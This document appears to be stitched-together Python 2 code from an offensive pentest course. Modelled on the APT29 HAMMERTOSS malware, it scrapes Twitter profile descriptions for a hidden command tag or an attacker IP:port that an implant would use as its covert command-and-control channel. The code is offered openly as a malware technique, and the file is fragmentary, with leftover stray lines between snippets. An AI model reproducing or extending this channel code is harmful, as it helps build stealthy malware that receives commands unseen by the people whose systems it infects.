def f_grab_cmd_from_twitter_profile(profile_name):
"""grab 0xXXXXXXXX tag from profile, tag must match [a-zA-Z0-9_]
:rtype: string
:param profile_name: twitter profile name without leading @
:return: string embedded in the profile description
"""
url = 'https://twitter.com/%(profile)s'
payload = {'profile': profile_name}
html = requests.get(url % payload)
soup = soupy(html.text)
profile_description = soup.find('meta',
{'name': 'description'})['content']
match = re.search('0x(\w+)', profile_description)
output = match.group(1) # group 1 consists of match between ( )
return str(output)
def parseTwitterConnectionData():
html = urllib.urlopen('https://twitter.com/d_schwenk').read()
soup = soupy(html)
x = soup.find("meta", {"name": "description"})['content']
# x will be something like
# Die neuesten Tweets von Daniel Schwenk (@d_schwenk): "hello from x"
# use regex to get string (tweet) between '"'
filter = re.findall(r'"(.*?)"', x)
data = filter[0]
# verify tweet / data contains ip and port (e.g. 192.168.100.100:8080)
if re.search(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{4}', data):
data = data.split(':')
ip = data[0]
port = int(data[1])
return (ip, port)
else:
# could not get tweet or parse it correctyl, return false values
return (0, 0)
Use it on your own risk.
'''
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
#BeautifulSoup 3.2.1 download link
#https://pypi.python.org/pypi/BeautifulSoup
#Case study – Russian Malware
#https://www2.fireeye.com/APT29-HAMMERTOSS-WEB-2015-RPT.html
#https://www.fireeye.com/blog/threat-research/2015/07/hammertoss_stealthy.html
from BeautifulSoup import BeautifulSoup as soupy
import urllib
import re
html = urllib.urlopen('https://twitter.com/tferriss').read()
soup = soupy(html)
#Navigate to my twitter home page HussamKhrais, store the HTML page into html variable and pass it
#to soupy function so we can parse it
x = soup.find("meta", {"name": "description"})['content']
#Here we search for specific HTML meta tags, please see the video to know how did i find these parameters :)
filter = re.findall(
r'"(.*?)"', x
) # After parsing the html page, our tweet is located between double quotations
tweet = filter[0] # using regular expression we filter out the tweet
print tweet